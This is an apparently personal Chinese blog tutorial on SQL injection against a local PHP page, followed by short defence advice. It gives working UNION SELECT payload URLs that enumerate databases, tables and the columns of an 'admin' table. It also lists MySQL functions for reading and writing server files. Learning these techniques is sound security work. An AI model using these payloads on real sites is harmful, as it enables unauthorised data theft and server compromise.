SQL注入

网络安全 无标签 2019-08-20 阅读:608

sql注入

简介

通过sql命令插入到表单提交或页面请求查询字符串,达到欺骗服务器的sql命令。可能存在的注入点:GET,POST传值,cookie,等。sql注入有整型注入、字符串注入,盲注可以时间注入,报错注入等

利用

创建数据库,当你使用以下代码时,含有整型注入。
php代码
数据库
使用id=1时正常,在id后面加上'时报错,再打个分号还是报错,这是个整型注入,直接加上恶意字符串。s使用order by 来测试有多少字段,可以看到输入1,2是正常的,但是输入3报错了,说明表内含有2个字符串。
正常
判断2
报错
接着再使用union select联合查询数据库连接的用户名,可以看到查询成功。
联合查询

mysql常用注入命令

命令作用
version()查看mysql版本
user()查看数据库用户名
database()数据库名
@@datadir数据库路径
@@version_compile_os操作系统版本
group_concat()将多个字符串连成一个字符(适合允许查询一个使用)
LOAD_FILE()读取本地文件
select * into outfile '路径'往路径写入*内容
hex()hex编码

联合查询获取所有数据库名

http://localhost/a.php?id=1 union select "",schema_name from information_schema.schemata--+

查询图
查询获取数据库表名

http://localhost/a.php?id=1 union select "",table_name from information_schema.tables where table_schema =database()--+

查询图
查询获取数据库列

http://localhost/a.php?id=1 union select "",column_name from information_schema.columns where table_name ='admin'--+

查询图
最后查询表数据....
查询

sql注入防御

过滤恶意字符串php使用addslashes()函数加斜杆等,整型过滤字符串。或使用预处理,再使用waf等防御。

生成海报
版权声明

本文基于《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)》许可协议授权
文章链接:https://www.fxnetw.com/52.html (转载时请注明本文出处及文章链接)


如果觉得我的文章对你有用,请随意赞赏

1条评论

    Liues

    6666。学到了

    游客 Windows10 232 天前回复